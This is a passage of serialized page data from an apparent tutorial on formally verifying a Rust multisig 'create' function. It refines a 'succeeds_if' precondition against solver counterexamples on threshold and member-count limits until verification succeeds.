members",{"type":23,"tag":141,"props":21995,"children":21996},{"style":160},[21997],{"type":29,"value":114},{"type":23,"tag":141,"props":21999,"children":22000},{"style":725},[22001],{"type":29,"value":20061},{"type":23,"tag":141,"props":22003,"children":22004},{"style":154},[22005],{"type":29,"value":4480},{"type":23,"tag":141,"props":22007,"children":22008},{"style":725},[22009],{"type":29,"value":20070},{"type":23,"tag":141,"props":22011,"children":22012},{"style":154},[22013],{"type":29,"value":4812},{"type":23,"tag":141,"props":22015,"children":22016},{"class":143,"line":2459},[22017,22021,22025,22029],{"type":23,"tag":141,"props":22018,"children":22019},{"style":154},[22020],{"type":29,"value":1748},{"type":23,"tag":141,"props":22022,"children":22023},{"style":160},[22024],{"type":29,"value":12435},{"type":23,"tag":141,"props":22026,"children":22027},{"style":725},[22028],{"type":29,"value":12440},{"type":23,"tag":141,"props":22030,"children":22031},{"style":154},[22032],{"type":29,"value":19003},{"type":23,"tag":141,"props":22034,"children":22035},{"class":143,"line":2467},[22036],{"type":23,"tag":141,"props":22037,"children":22038},{"style":443},[22039],{"type":29,"value":22040}," // sort the members and remove duplicates\n",{"type":23,"tag":141,"props":22042,"children":22043},{"class":143,"line":2499},[22044,22048,22052,22057,22061,22065],{"type":23,"tag":141,"props":22045,"children":22046},{"style":449},[22047],{"type":29,"value":1659},{"type":23,"tag":141,"props":22049,"children":22050},{"style":449},[22051],{"type":29,"value":1664},{"type":23,"tag":141,"props":22053,"children":22054},{"style":750},[22055],{"type":29,"value":22056}," members",{"type":23,"tag":141,"props":22058,"children":22059},{"style":160},[22060],{"type":29,"value":1674},{"type":23,"tag":141,"props":22062,"children":22063},{"style":750},[22064],{"type":29,"value":22056},{"type":23,"tag":141,"props":22066,"children":22067},{"style":154},[22068],{"type":29,"value":1684},{"type":23,"tag":141,"props":22070,"children":22071},{"class":143,"line":2507},[22072,22076,22080,22085],{"type":23,"tag":141,"props":22073,"children":22074},{"style":750},[22075],{"type":29,"value":21993},{"type":23,"tag":141,"props":22077,"children":22078},{"style":160},[22079],{"type":29,"value":322},{"type":23,"tag":141,"props":22081,"children":22082},{"style":184},[22083],{"type":29,"value":22084},"sort",{"type":23,"tag":141,"props":22086,"children":22087},{"style":154},[22088],{"type":29,"value":1305},{"type":23,"tag":141,"props":22090,"children":22091},{"class":143,"line":2567},[22092,22096,22100,22105],{"type":23,"tag":141,"props":22093,"children":22094},{"style":750},[22095],{"type":29,"value":21993},{"type":23,"tag":141,"props":22097,"children":22098},{"style":160},[22099],{"type":29,"value":322},{"type":23,"tag":141,"props":22101,"children":22102},{"style":184},[22103],{"type":29,"value":22104},"dedup",{"type":23,"tag":141,"props":22106,"children":22107},{"style":154},[22108],{"type":29,"value":1305},{"type":23,"tag":141,"props":22110,"children":22111},{"class":143,"line":7724},[22112],{"type":23,"tag":141,"props":22113,"children":22114},{"emptyLinePlaceholder":15},[22115],{"type":29,"value":719},{"type":23,"tag":141,"props":22117,"children":22118},{"class":143,"line":7742},[22119],{"type":23,"tag":141,"props":22120,"children":22121},{"style":443},[22122],{"type":29,"value":22123}," // check we don't exceed u16\n",{"type":23,"tag":141,"props":22125,"children":22126},{"class":143,"line":7787},[22127,22131,22136,22140,22144,22148,22152],{"type":23,"tag":141,"props":22128,"children":22129},{"style":449},[22130],{"type":29,"value":1659},{"type":23,"tag":141,"props":22132,"children":22133},{"style":750},[22134],{"type":29,"value":22135}," total_members",{"type":23,"tag":141,"props":22137,"children":22138},{"style":160},[22139],{"type":29,"value":1674},{"type":23,"tag":141,"props":22141,"children":22142},{"style":750},[22143],{"type":29,"value":22056},{"type":23,"tag":141,"props":22145,"children":22146},{"style":160},[22147],{"type":29,"value":322},{"type":23,"tag":141,"props":22149,"children":22150},{"style":184},[22151],{"type":29,"value":7817},{"type":23,"tag":141,"props":22153,"children":22154},{"style":154},[22155],{"type":29,"value":1305},{"type":23,"tag":141,"props":22157,"children":22158},{"class":143,"line":7893},[22159,22163,22167,22171,22175],{"type":23,"tag":141,"props":22160,"children":22161},{"style":148},[22162],{"type":29,"value":151},{"type":23,"tag":141,"props":22164,"children":22165},{"style":750},[22166],{"type":29,"value":22135},{"type":23,"tag":141,"props":22168,"children":22169},{"style":160},[22170],{"type":29,"value":7395},{"type":23,"tag":141,"props":22172,"children":22173},{"style":472},[22174],{"type":29,"value":3198},{"type":23,"tag":141,"props":22176,"children":22177},{"style":154},[22178],{"type":29,"value":1951},{"type":23,"tag":141,"props":22180,"children":22182},{"class":143,"line":22181},31,[22183,22187,22192,22196,22201,22205,22210],{"type":23,"tag":141,"props":22184,"children":22185},{"style":148},[22186],{"type":29,"value":14420},{"type":23,"tag":141,"props":22188,"children":22189},{"style":184},[22190],{"type":29,"value":22191}," err!",{"type":23,"tag":141,"props":22193,"children":22194},{"style":154},[22195],{"type":29,"value":192},{"type":23,"tag":141,"props":22197,"children":22198},{"style":725},[22199],{"type":29,"value":22200},"MsError",{"type":23,"tag":141,"props":22202,"children":22203},{"style":160},[22204],{"type":29,"value":2141},{"type":23,"tag":141,"props":22206,"children":22207},{"style":725},[22208],{"type":29,"value":22209},"EmptyMembers",{"type":23,"tag":141,"props":22211,"children":22212},{"style":154},[22213],{"type":29,"value":2496},{"type":23,"tag":141,"props":22215,"children":22217},{"class":143,"line":22216},32,[22218],{"type":23,"tag":141,"props":22219,"children":22220},{"style":154},[22221],{"type":29,"value":299},{"type":23,"tag":141,"props":22223,"children":22225},{"class":143,"line":22224},33,[22226],{"type":23,"tag":141,"props":22227,"children":22228},{"emptyLinePlaceholder":15},[22229],{"type":29,"value":719},{"type":23,"tag":141,"props":22231,"children":22233},{"class":143,"line":22232},34,[22234],{"type":23,"tag":141,"props":22235,"children":22236},{"style":443},[22237],{"type":29,"value":22238}," // make sure we don't exceed u16 on first call\n",{"type":23,"tag":141,"props":22240,"children":22242},{"class":143,"line":22241},35,[22243,22247,22251,22255,22259,22263,22267,22272,22276],{"type":23,"tag":141,"props":22244,"children":22245},{"style":148},[22246],{"type":29,"value":151},{"type":23,"tag":141,"props":22248,"children":22249},{"style":750},[22250],{"type":29,"value":22135},{"type":23,"tag":141,"props":22252,"children":22253},{"style":160},[22254],{"type":29,"value":12870},{"type":23,"tag":141,"props":22256,"children":22257},{"style":725},[22258],{"type":29,"value":12409},{"type":23,"tag":141,"props":22260,"children":22261},{"style":160},[22262],{"type":29,"value":2141},{"type":23,"tag":141,"props":22264,"children":22265},{"style":184},[22266],{"type":29,"value":18145},{"type":23,"tag":141,"props":22268,"children":22269},{"style":154},[22270],{"type":29,"value":22271},"(u16",{"type":23,"tag":141,"props":22273,"children":22274},{"style":160},[22275],{"type":29,"value":2141},{"type":23,"tag":141,"props":22277,"children":22278},{"style":154},[22279],{"type":29,"value":22280},"MAX) {\n",{"type":23,"tag":141,"props":22282,"children":22284},{"class":143,"line":22283},36,[22285,22289,22293,22297,22301,22305,22310],{"type":23,"tag":141,"props":22286,"children":22287},{"style":148},[22288],{"type":29,"value":14420},{"type":23,"tag":141,"props":22290,"children":22291},{"style":184},[22292],{"type":29,"value":22191},{"type":23,"tag":141,"props":22294,"children":22295},{"style":154},[22296],{"type":29,"value":192},{"type":23,"tag":141,"props":22298,"children":22299},{"style":725},[22300],{"type":29,"value":22200},{"type":23,"tag":141,"props":22302,"children":22303},{"style":160},[22304],{"type":29,"value":2141},{"type":23,"tag":141,"props":22306,"children":22307},{"style":725},[22308],{"type":29,"value":22309},"MaxMembersReached",{"type":23,"tag":141,"props":22311,"children":22312},{"style":154},[22313],{"type":29,"value":2496},{"type":23,"tag":141,"props":22315,"children":22317},{"class":143,"line":22316},37,[22318],{"type":23,"tag":141,"props":22319,"children":22320},{"style":154},[22321],{"type":29,"value":299},{"type":23,"tag":141,"props":22323,"children":22325},{"class":143,"line":22324},38,[22326],{"type":23,"tag":141,"props":22327,"children":22328},{"emptyLinePlaceholder":15},[22329],{"type":29,"value":719},{"type":23,"tag":141,"props":22331,"children":22333},{"class":143,"line":22332},39,[22334],{"type":23,"tag":141,"props":22335,"children":22336},{"style":443},[22337],{"type":29,"value":22338}," // make sure threshold is valid\n",{"type":23,"tag":141,"props":22340,"children":22342},{"class":143,"line":22341},40,[22343,22347,22351,22355,22359,22363,22367,22372,22376,22381,22385,22389,22393,22397,22401,22406,22411],{"type":23,"tag":141,"props":22344,"children":22345},{"style":148},[22346],{"type":29,"value":151},{"type":23,"tag":141,"props":22348,"children":22349},{"style":725},[22350],{"type":29,"value":12409},{"type":23,"tag":141,"props":22352,"children":22353},{"style":160},[22354],{"type":29,"value":2141},{"type":23,"tag":141,"props":22356,"children":22357},{"style":184},[22358],{"type":29,"value":18145},{"type":23,"tag":141,"props":22360,"children":22361},{"style":154},[22362],{"type":29,"value":192},{"type":23,"tag":141,"props":22364,"children":22365},{"style":750},[22366],{"type":29,"value":21421},{"type":23,"tag":141,"props":22368,"children":22369},{"style":154},[22370],{"type":29,"value":22371},") \u003C ",{"type":23,"tag":141,"props":22373,"children":22374},{"style":472},[22375],{"type":29,"value":687},{"type":23,"tag":141,"props":22377,"children":22378},{"style":160},[22379],{"type":29,"value":22380}," ||",{"type":23,"tag":141,"props":22382,"children":22383},{"style":725},[22384],{"type":29,"value":12409},{"type":23,"tag":141,"props":22386,"children":22387},{"style":160},[22388],{"type":29,"value":2141},{"type":23,"tag":141,"props":22390,"children":22391},{"style":184},[22392],{"type":29,"value":18145},{"type":23,"tag":141,"props":22394,"children":22395},{"style":154},[22396],{"type":29,"value":192},{"type":23,"tag":141,"props":22398,"children":22399},{"style":750},[22400],{"type":29,"value":21421},{"type":23,"tag":141,"props":22402,"children":22403},{"style":154},[22404],{"type":29,"value":22405},") > ",{"type":23,"tag":141,"props":22407,"children":22408},{"style":750},[22409],{"type":29,"value":22410},"total_members",{"type":23,"tag":141,"props":22412,"children":22413},{"style":154},[22414],{"type":29,"value":1951},{"type":23,"tag":141,"props":22416,"children":22418},{"class":143,"line":22417},41,[22419,22423,22427,22431,22435,22439,22444],{"type":23,"tag":141,"props":22420,"children":22421},{"style":148},[22422],{"type":29,"value":14420},{"type":23,"tag":141,"props":22424,"children":22425},{"style":184},[22426],{"type":29,"value":22191},{"type":23,"tag":141,"props":22428,"children":22429},{"style":154},[22430],{"type":29,"value":192},{"type":23,"tag":141,"props":22432,"children":22433},{"style":725},[22434],{"type":29,"value":22200},{"type":23,"tag":141,"props":22436,"children":22437},{"style":160},[22438],{"type":29,"value":2141},{"type":23,"tag":141,"props":22440,"children":22441},{"style":725},[22442],{"type":29,"value":22443},"InvalidThreshold",{"type":23,"tag":141,"props":22445,"children":22446},{"style":154},[22447],{"type":29,"value":2496},{"type":23,"tag":141,"props":22449,"children":22451},{"class":143,"line":22450},42,[22452],{"type":23,"tag":141,"props":22453,"children":22454},{"style":154},[22455],{"type":29,"value":299},{"type":23,"tag":141,"props":22457,"children":22459},{"class":143,"line":22458},43,[22460],{"type":23,"tag":141,"props":22461,"children":22462},{"emptyLinePlaceholder":15},[22463],{"type":29,"value":719},{"type":23,"tag":141,"props":22465,"children":22467},{"class":143,"line":22466},44,[22468,22472,22476,22480,22484,22489,22493,22497],{"type":23,"tag":141,"props":22469,"children":22470},{"style":750},[22471],{"type":29,"value":18895},{"type":23,"tag":141,"props":22473,"children":22474},{"style":160},[22475],{"type":29,"value":322},{"type":23,"tag":141,"props":22477,"children":22478},{"style":154},[22479],{"type":29,"value":13351},{"type":23,"tag":141,"props":22481,"children":22482},{"style":160},[22483],{"type":29,"value":322},{"type":23,"tag":141,"props":22485,"children":22486},{"style":154},[22487],{"type":29,"value":22488},"multisig",{"type":23,"tag":141,"props":22490,"children":22491},{"style":160},[22492],{"type":29,"value":322},{"type":23,"tag":141,"props":22494,"children":22495},{"style":184},[22496],{"type":29,"value":19412},{"type":23,"tag":141,"props":22498,"children":22499},{"style":154},[22500],{"type":29,"value":2123},{"type":23,"tag":141,"props":22502,"children":22504},{"class":143,"line":22503},45,[22505,22510],{"type":23,"tag":141,"props":22506,"children":22507},{"style":750},[22508],{"type":29,"value":22509}," threshold",{"type":23,"tag":141,"props":22511,"children":22512},{"style":154},[22513],{"type":29,"value":2168},{"type":23,"tag":141,"props":22515,"children":22517},{"class":143,"line":22516},46,[22518,22523],{"type":23,"tag":141,"props":22519,"children":22520},{"style":750},[22521],{"type":29,"value":22522}," create_key",{"type":23,"tag":141,"props":22524,"children":22525},{"style":154},[22526],{"type":29,"value":2168},{"type":23,"tag":141,"props":22528,"children":22530},{"class":143,"line":22529},47,[22531,22536],{"type":23,"tag":141,"props":22532,"children":22533},{"style":750},[22534],{"type":29,"value":22535}," members",{"type":23,"tag":141,"props":22537,"children":22538},{"style":154},[22539],{"type":29,"value":2168},{"type":23,"tag":141,"props":22541,"children":22543},{"class":143,"line":22542},48,[22544,22548,22552,22556,22561,22565,22569,22573,22578,22582,22586,22590],{"type":23,"tag":141,"props":22545,"children":22546},{"style":160},[22547],{"type":29,"value":6426},{"type":23,"tag":141,"props":22549,"children":22550},{"style":750},[22551],{"type":29,"value":18952},{"type":23,"tag":141,"props":22553,"children":22554},{"style":160},[22555],{"type":29,"value":322},{"type":23,"tag":141,"props":22557,"children":22558},{"style":154},[22559],{"type":29,"value":22560},"bumps",{"type":23,"tag":141,"props":22562,"children":22563},{"style":160},[22564],{"type":29,"value":322},{"type":23,"tag":141,"props":22566,"children":22567},{"style":184},[22568],{"type":29,"value":15028},{"type":23,"tag":141,"props":22570,"children":22571},{"style":154},[22572],{"type":29,"value":192},{"type":23,"tag":141,"props":22574,"children":22575},{"style":828},[22576],{"type":29,"value":22577},"\"multisig\"",{"type":23,"tag":141,"props":22579,"children":22580},{"style":154},[22581],{"type":29,"value":1788},{"type":23,"tag":141,"props":22583,"children":22584},{"style":160},[22585],{"type":29,"value":322},{"type":23,"tag":141,"props":22587,"children":22588},{"style":184},[22589],{"type":29,"value":2328},{"type":23,"tag":141,"props":22591,"children":22592},{"style":154},[22593],{"type":29,"value":2151},{"type":23,"tag":141,"props":22595,"children":22597},{"class":143,"line":22596},49,[22598],{"type":23,"tag":141,"props":22599,"children":22600},{"style":154},[22601],{"type":29,"value":22602}," )\n",{"type":23,"tag":141,"props":22604,"children":22606},{"class":143,"line":22605},50,[22607],{"type":23,"tag":141,"props":22608,"children":22609},{"style":154},[22610],{"type":29,"value":2573},{"type":23,"tag":32,"props":22612,"children":22613},{},[22614,22616,22621,22623,22628],{"type":29,"value":22615},"We can start by testing an empty ",{"type":23,"tag":38,"props":22617,"children":22619},{"className":22618},[],[22620],{"type":29,"value":18826},{"type":29,"value":22622}," (this will default to ",{"type":23,"tag":38,"props":22624,"children":22626},{"className":22625},[],[22627],{"type":29,"value":2670},{"type":29,"value":22629},"):",{"type":23,"tag":131,"props":22631,"children":22633},{"code":22632,"language":1638,"meta":7,"className":1639,"style":7},"#[succeeds_if()]\npub fn create(...) { ... }\n",[22634],{"type":23,"tag":38,"props":22635,"children":22636},{"__ignoreMap":7},[22637,22645],{"type":23,"tag":141,"props":22638,"children":22639},{"class":143,"line":144},[22640],{"type":23,"tag":141,"props":22641,"children":22642},{"style":154},[22643],{"type":29,"value":22644},"#[succeeds_if()]\n",{"type":23,"tag":141,"props":22646,"children":22647},{"class":143,"line":180},[22648,22652,22656,22660,22664,22668,22673,22677],{"type":23,"tag":141,"props":22649,"children":22650},{"style":449},[22651],{"type":29,"value":12368},{"type":23,"tag":141,"props":22653,"children":22654},{"style":449},[22655],{"type":29,"value":12373},{"type":23,"tag":141,"props":22657,"children":22658},{"style":184},[22659],{"type":29,"value":5786},{"type":23,"tag":141,"props":22661,"children":22662},{"style":154},[22663],{"type":29,"value":192},{"type":23,"tag":141,"props":22665,"children":22666},{"style":160},[22667],{"type":29,"value":8269},{"type":23,"tag":141,"props":22669,"children":22670},{"style":154},[22671],{"type":29,"value":22672},") { ",{"type":23,"tag":141,"props":22674,"children":22675},{"style":160},[22676],{"type":29,"value":8269},{"type":23,"tag":141,"props":22678,"children":22679},{"style":154},[22680],{"type":29,"value":8274},{"type":23,"tag":32,"props":22682,"children":22683},{},[22684],{"type":29,"value":22685},"Running the solver, we get:",{"type":23,"tag":131,"props":22687,"children":22689},{"code":22688},"...\nVERIFICATION:- FAILED\nVerification Time: 6.404167s\n",[22690],{"type":23,"tag":38,"props":22691,"children":22692},{"__ignoreMap":7},[22693],{"type":29,"value":22688},{"type":23,"tag":32,"props":22695,"children":22696},{},[22697,22699,22704],{"type":29,"value":22698},"This means that ",{"type":23,"tag":38,"props":22700,"children":22702},{"className":22701},[],[22703],{"type":29,"value":2670},{"type":29,"value":22705}," does not imply that the function will succeed (which is expected looking at the implementation above).",{"type":23,"tag":32,"props":22707,"children":22708},{},[22709],{"type":29,"value":22710},"We can ask the solver to produce a counterexample:",{"type":23,"tag":131,"props":22712,"children":22714},{"code":22713},"threshold: 33764\ncreate_key: ...\nmembers: SparseVec { size: 19 }\n",[22715],{"type":23,"tag":38,"props":22716,"children":22717},{"__ignoreMap":7},[22718],{"type":29,"value":22713},{"type":23,"tag":32,"props":22720,"children":22721},{},[22722],{"type":29,"value":22723},"In this case, we can see that the threshold is invalid; it should not be larger than the number of members.",{"type":23,"tag":32,"props":22725,"children":22726},{},[22727],{"type":23,"tag":47,"props":22728,"children":22729},{},[22730,22732,22738],{"type":29,"value":22731},"Note also that the verifier decided to use a ",{"type":23,"tag":38,"props":22733,"children":22735},{"className":22734},[],[22736],{"type":29,"value":22737},"SparseVec",{"type":29,"value":22739}," which is one of our custom vec implementations. In this case, the code we are verifying doesn't actually read or write to the vector and so we can model it simply as a symbolic size (with no data).",{"type":23,"tag":32,"props":22741,"children":22742},{},[22743],{"type":23,"tag":47,"props":22744,"children":22745},{},[22746,22748,22753,22754,22760,22762,22767,22769,22774],{"type":29,"value":22747},"Using a sparse vec rather than a concrete vec is generally preferred as it speeds up computation and allows us to model arbitrarily sized vecs. ",{"type":23,"tag":38,"props":22749,"children":22751},{"className":22750},[],[22752],{"type":29,"value":2482},{"type":29,"value":313},{"type":23,"tag":38,"props":22755,"children":22757},{"className":22756},[],[22758],{"type":29,"value":22759},"pop",{"type":29,"value":22761}," are stubbed out to simply panic for the ",{"type":23,"tag":38,"props":22763,"children":22765},{"className":22764},[],[22766],{"type":29,"value":22737},{"type":29,"value":22768}," and if this code tried to do that we would fall back to the concrete ",{"type":23,"tag":38,"props":22770,"children":22772},{"className":22771},[],[22773],{"type":29,"value":15887},{"type":29,"value":22775}," type.",{"type":23,"tag":32,"props":22777,"children":22778},{},[22779],{"type":29,"value":22780},"We can add this to our constraint and try again:",{"type":23,"tag":131,"props":22782,"children":22784},{"code":22783,"language":1638,"meta":7,"className":1639,"style":7},"#[succeeds_if(\n (threshold as usize) \u003C= members.len()\n)]\npub fn create(...) { ... }\n",[22785],{"type":23,"tag":38,"props":22786,"children":22787},{"__ignoreMap":7},[22788,22796,22833,22840],{"type":23,"tag":141,"props":22789,"children":22790},{"class":143,"line":144},[22791],{"type":23,"tag":141,"props":22792,"children":22793},{"style":154},[22794],{"type":29,"value":22795},"#[succeeds_if(\n",{"type":23,"tag":141,"props":22797,"children":22798},{"class":143,"line":180},[22799,22804,22808,22812,22816,22820,22824,22828],{"type":23,"tag":141,"props":22800,"children":22801},{"style":154},[22802],{"type":29,"value":22803}," (threshold ",{"type":23,"tag":141,"props":22805,"children":22806},{"style":449},[22807],{"type":29,"value":7518},{"type":23,"tag":141,"props":22809,"children":22810},{"style":725},[22811],{"type":29,"value":12409},{"type":23,"tag":141,"props":22813,"children":22814},{"style":154},[22815],{"type":29,"value":1748},{"type":23,"tag":141,"props":22817,"children":22818},{"style":160},[22819],{"type":29,"value":18086},{"type":23,"tag":141,"props":22821,"children":22822},{"style":154},[22823],{"type":29,"value":22056},{"type":23,"tag":141,"props":22825,"children":22826},{"style":160},[22827],{"type":29,"value":322},{"type":23,"tag":141,"props":22829,"children":22830},{"style":154},[22831],{"type":29,"value":22832},"len()\n",{"type":23,"tag":141,"props":22834,"children":22835},{"class":143,"line":205},[22836],{"type":23,"tag":141,"props":22837,"children":22838},{"style":154},[22839],{"type":29,"value":18930},{"type":23,"tag":141,"props":22841,"children":22842},{"class":143,"line":218},[22843,22847,22851,22855,22859,22863,22867,22871],{"type":23,"tag":141,"props":22844,"children":22845},{"style":449},[22846],{"type":29,"value":12368},{"type":23,"tag":141,"props":22848,"children":22849},{"style":449},[22850],{"type":29,"value":12373},{"type":23,"tag":141,"props":22852,"children":22853},{"style":184},[22854],{"type":29,"value":5786},{"type":23,"tag":141,"props":22856,"children":22857},{"style":154},[22858],{"type":29,"value":192},{"type":23,"tag":141,"props":22860,"children":22861},{"style":160},[22862],{"type":29,"value":8269},{"type":23,"tag":141,"props":22864,"children":22865},{"style":154},[22866],{"type":29,"value":22672},{"type":23,"tag":141,"props":22868,"children":22869},{"style":160},[22870],{"type":29,"value":8269},{"type":23,"tag":141,"props":22872,"children":22873},{"style":154},[22874],{"type":29,"value":8274},{"type":23,"tag":32,"props":22876,"children":22877},{},[22878],{"type":29,"value":22879},"Verification failed again! This time we get a different counterexample:",{"type":23,"tag":131,"props":22881,"children":22883},{"code":22882},"threshold: 0\ncreate_key: ...\nmembers: SparseVec { size: 19 }\n",[22884],{"type":23,"tag":38,"props":22885,"children":22886},{"__ignoreMap":7},[22887],{"type":29,"value":22882},{"type":23,"tag":32,"props":22889,"children":22890},{},[22891],{"type":29,"value":22892},"Aha! The threshold cannot be 0 either... Let's try again:",{"type":23,"tag":131,"props":22894,"children":22896},{"code":22895,"language":1638,"meta":7,"className":1639,"style":7},"#[succeeds_if(\n (threshold as usize) \u003C= members.len()\n && threshold != 0\n)]\npub fn create(...) { ... }\n",[22897],{"type":23,"tag":38,"props":22898,"children":22899},{"__ignoreMap":7},[22900,22907,22942,22963,22970],{"type":23,"tag":141,"props":22901,"children":22902},{"class":143,"line":144},[22903],{"type":23,"tag":141,"props":22904,"children":22905},{"style":154},[22906],{"type":29,"value":22795},{"type":23,"tag":141,"props":22908,"children":22909},{"class":143,"line":180},[22910,22914,22918,22922,22926,22930,22934,22938],{"type":23,"tag":141,"props":22911,"children":22912},{"style":154},[22913],{"type":29,"value":22803},{"type":23,"tag":141,"props":22915,"children":22916},{"style":449},[22917],{"type":29,"value":7518},{"type":23,"tag":141,"props":22919,"children":22920},{"style":725},[22921],{"type":29,"value":12409},{"type":23,"tag":141,"props":22923,"children":22924},{"style":154},[22925],{"type":29,"value":1748},{"type":23,"tag":141,"props":22927,"children":22928},{"style":160},[22929],{"type":29,"value":18086},{"type":23,"tag":141,"props":22931,"children":22932},{"style":154},[22933],{"type":29,"value":22056},{"type":23,"tag":141,"props":22935,"children":22936},{"style":160},[22937],{"type":29,"value":322},{"type":23,"tag":141,"props":22939,"children":22940},{"style":154},[22941],{"type":29,"value":22832},{"type":23,"tag":141,"props":22943,"children":22944},{"class":143,"line":205},[22945,22949,22954,22958],{"type":23,"tag":141,"props":22946,"children":22947},{"style":160},[22948],{"type":29,"value":14297},{"type":23,"tag":141,"props":22950,"children":22951},{"style":154},[22952],{"type":29,"value":22953}," threshold ",{"type":23,"tag":141,"props":22955,"children":22956},{"style":160},[22957],{"type":29,"value":14364},{"type":23,"tag":141,"props":22959,"children":22960},{"style":154},[22961],{"type":29,"value":22962}," 0\n",{"type":23,"tag":141,"props":22964,"children":22965},{"class":143,"line":218},[22966],{"type":23,"tag":141,"props":22967,"children":22968},{"style":154},[22969],{"type":29,"value":18930},{"type":23,"tag":141,"props":22971,"children":22972},{"class":143,"line":227},[22973,22977,22981,22985,22989,22993,22997,23001],{"type":23,"tag":141,"props":22974,"children":22975},{"style":449},[22976],{"type":29,"value":12368},{"type":23,"tag":141,"props":22978,"children":22979},{"style":449},[22980],{"type":29,"value":12373},{"type":23,"tag":141,"props":22982,"children":22983},{"style":184},[22984],{"type":29,"value":5786},{"type":23,"tag":141,"props":22986,"children":22987},{"style":154},[22988],{"type":29,"value":192},{"type":23,"tag":141,"props":22990,"children":22991},{"style":160},[22992],{"type":29,"value":8269},{"type":23,"tag":141,"props":22994,"children":22995},{"style":154},[22996],{"type":29,"value":22672},{"type":23,"tag":141,"props":22998,"children":22999},{"style":160},[23000],{"type":29,"value":8269},{"type":23,"tag":141,"props":23002,"children":23003},{"style":154},[23004],{"type":29,"value":8274},{"type":23,"tag":32,"props":23006,"children":23007},{},[23008],{"type":29,"value":23009},"A third counterexample:",{"type":23,"tag":131,"props":23011,"children":23013},{"code":23012},"threshold: 4\ncreate_key: ...\nmembers: SparseVec { size: 536870920 }\n",[23014],{"type":23,"tag":38,"props":23015,"children":23016},{"__ignoreMap":7},[23017],{"type":29,"value":23012},{"type":23,"tag":32,"props":23019,"children":23020},{},[23021,23023,23029],{"type":29,"value":23022},"Here we see the size of our ",{"type":23,"tag":38,"props":23024,"children":23026},{"className":23025},[],[23027],{"type":29,"value":23028},"members",{"type":29,"value":23030}," vec is huge! We need to constrain that to be less than u16::MAX:",{"type":23,"tag":131,"props":23032,"children":23034},{"code":23033,"language":1638,"meta":7,"className":1639,"style":7},"#[succeeds_if(\n (threshold as usize) \u003C= members.len()\n && (threshold != 0)\n && (members.len() \u003C= (u16::MAX as usize))\n)]\npub fn create(...) { ... }\n",[23035],{"type":23,"tag":38,"props":23036,"children":23037},{"__ignoreMap":7},[23038,23045,23080,23101,23153,23160],{"type":23,"tag":141,"props":23039,"children":23040},{"class":143,"line":144},[23041],{"type":23,"tag":141,"props":23042,"children":23043},{"style":154},[23044],{"type":29,"value":22795},{"type":23,"tag":141,"props":23046,"children":23047},{"class":143,"line":180},[23048,23052,23056,23060,23064,23068,23072,23076],{"type":23,"tag":141,"props":23049,"children":23050},{"style":154},[23051],{"type":29,"value":22803},{"type":23,"tag":141,"props":23053,"children":23054},{"style":449},[23055],{"type":29,"value":7518},{"type":23,"tag":141,"props":23057,"children":23058},{"style":725},[23059],{"type":29,"value":12409},{"type":23,"tag":141,"props":23061,"children":23062},{"style":154},[23063],{"type":29,"value":1748},{"type":23,"tag":141,"props":23065,"children":23066},{"style":160},[23067],{"type":29,"value":18086},{"type":23,"tag":141,"props":23069,"children":23070},{"style":154},[23071],{"type":29,"value":22056},{"type":23,"tag":141,"props":23073,"children":23074},{"style":160},[23075],{"type":29,"value":322},{"type":23,"tag":141,"props":23077,"children":23078},{"style":154},[23079],{"type":29,"value":22832},{"type":23,"tag":141,"props":23081,"children":23082},{"class":143,"line":205},[23083,23087,23092,23096],{"type":23,"tag":141,"props":23084,"children":23085},{"style":160},[23086],{"type":29,"value":14297},{"type":23,"tag":141,"props":23088,"children":23089},{"style":154},[23090],{"type":29,"value":23091}," (threshold ",{"type":23,"tag":141,"props":23093,"children":23094},{"style":160},[23095],{"type":29,"value":14364},{"type":23,"tag":141,"props":23097,"children":23098},{"style":154},[23099],{"type":29,"value":23100}," 0)\n",{"type":23,"tag":141,"props":23102,"children":23103},{"class":143,"line":218},[23104,23108,23112,23116,23120,23124,23128,23133,23137,23141,23145,23149],{"type":23,"tag":141,"props":23105,"children":23106},{"style":160},[23107],{"type":29,"value":14297},{"type":23,"tag":141,"props":23109,"children":23110},{"style":154},[23111],{"type":29,"value":21670},{"type":23,"tag":141,"props":23113,"children":23114},{"style":160},[23115],{"type":29,"value":322},{"type":23,"tag":141,"props":23117,"children":23118},{"style":154},[23119],{"type":29,"value":19693},{"type":23,"tag":141,"props":23121,"children":23122},{"style":160},[23123],{"type":29,"value":18086},{"type":23,"tag":141,"props":23125,"children":23126},{"style":154},[23127],{"type":29,"value":1220},{"type":23,"tag":141,"props":23129,"children":23130},{"style":725},[23131],{"type":29,"value":23132},"u16",{"type":23,"tag":141,"props":23134,"children":23135},{"style":160},[23136],{"type":29,"value":2141},{"type":23,"tag":141,"props":23138,"children":23139},{"style":725},[23140],{"type":29,"value":19711},{"type":23,"tag":141,"props":23142,"children":23143},{"style":449},[23144],{"type":29,"value":7504},{"type":23,"tag":141,"props":23146,"children":23147},{"style":725},[23148],{"type":29,"value":12409},{"type":23,"tag":141,"props":23150,"children":23151},{"style":154},[23152],{"type":29,"value":498},{"type":23,"tag":141,"props":23154,"children":23155},{"class":143,"line":227},[23156],{"type":23,"tag":141,"props":23157,"children":23158},{"style":154},[23159],{"type":29,"value":18930},{"type":23,"tag":141,"props":23161,"children":23162},{"class":143,"line":241},[23163,23167,23171,23175,23179,23183,23187,23191],{"type":23,"tag":141,"props":23164,"children":23165},{"style":449},[23166],{"type":29,"value":12368},{"type":23,"tag":141,"props":23168,"children":23169},{"style":449},[23170],{"type":29,"value":12373},{"type":23,"tag":141,"props":23172,"children":23173},{"style":184},[23174],{"type":29,"value":5786},{"type":23,"tag":141,"props":23176,"children":23177},{"style":154},[23178],{"type":29,"value":192},{"type":23,"tag":141,"props":23180,"children":23181},{"style":160},[23182],{"type":29,"value":8269},{"type":23,"tag":141,"props":23184,"children":23185},{"style":154},[23186],{"type":29,"value":22672},{"type":23,"tag":141,"props":23188,"children":23189},{"style":160},[23190],{"type":29,"value":8269},{"type":23,"tag":141,"props":23192,"children":23193},{"style":154},[23194],{"type":29,"value":8274},{"type":23,"tag":32,"props":23196,"children":23197},{},[23198],{"type":29,"value":23199},"And now we get:",{"type":23,"tag":131,"props":23201,"children":23203},{"code":23202},"VERIFICATION:- SUCCESSFUL\nVerification Time: 6.6634517s\n",[23204],{"type":23,"tag":38,"props":23205,"children":23206},{"__ignoreMap":7},[23207],{"type":29,"value":23202},{"type":23,"tag":32,"props":23209,"children":23210},{},[23211],{"type":29,"value":23212},"🥳🥳🥳",{"type":23,"tag":32,"props":23214,"children":23215},{},[23216],{"type":29,"value":23217},"The attentive reader may have noticed that we didn't need to verify this 